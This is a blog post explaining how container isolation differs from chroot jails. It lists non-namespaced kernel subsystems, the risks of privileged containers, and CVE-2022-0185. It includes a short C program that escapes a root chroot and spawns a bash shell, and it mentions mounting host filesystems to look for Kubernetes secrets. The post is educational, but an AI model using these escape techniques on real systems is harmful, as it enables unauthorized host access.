Is it possible to escape from a container on Kubernetes?

3 min read | by Jordi Prats

You might find some documents explaining containers (this applies to docker and Kubernetes as well) as chroot jails on steroids. One might end up thinking it might be as easy to escape from a root container as it is from a root chroot. But that's not true because it's just an analogy.

A container is not actually using a chroot to limit the view a process has of the system, it uses namespaces that are supposed to prevent that. But there is a flaw with namespaces: not everything is namespaced

Docker uses five namespaces to alter processes view of the system:

  • PID namespace for process isolation
  • NET namespace for managing network interfaces
  • IPC namespace for managing access to IPC resources
  • MNT namespace for managing filesystem mount points
  • UTS namespace for isolating kernel and version identifiers

Despite that, there are some major subsystems that cannot be namespaced:

  • SELinux
  • Cgroups
  • file systems under /sys
  • /proc/sys, /proc/sysrq-trigger, /proc/irq, /proc/bus

So, when running in a container you are actually talking to the host kernel. If you could manage to attack one of these as a privileged process, you have your chance to own the system right there.

Futhermore, if you are running a privileged container, you are explicitly setting more permissions to be able to communicate with devices physically attached to the host (such as a GPU): In another words, you can to mount the host's file systems to do what you please (look for secrets to access the Kubernetes API, patch files...)

Anyway, assuming you are not using a privileged container, is it still possible to escape from the container?

Actually it is possible, BUT this would be considered a vulnerability (and patched). Vulnerability CVE-2022-0185 is a good example of this that makes it possible to escape from a container.

So, under the right circumstances and without exploiting any miss configuration such as the use of a privileged container, it might be possible but this doesn't mean that it is trivial as it is with a root chroot that just by chroot'ing to ".." enough times you end up on the actual root filesystem:

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

int main(void)
{
  int i=0;

  mkdir("houdini", 0700);
  chroot("houdini");

  for(i=0; i<100; i++)
  {
    chdir("..");
  }

  chroot(".");
  execl("/bin/bash","-i",NULL);

  return 0;
}

The difference is that escaping from a chroot is a design flaw that cannot be fixed, escaping from a container is a vulnerability that needs to be fixed as soon as possible

Posted on 28/01/2022

Categories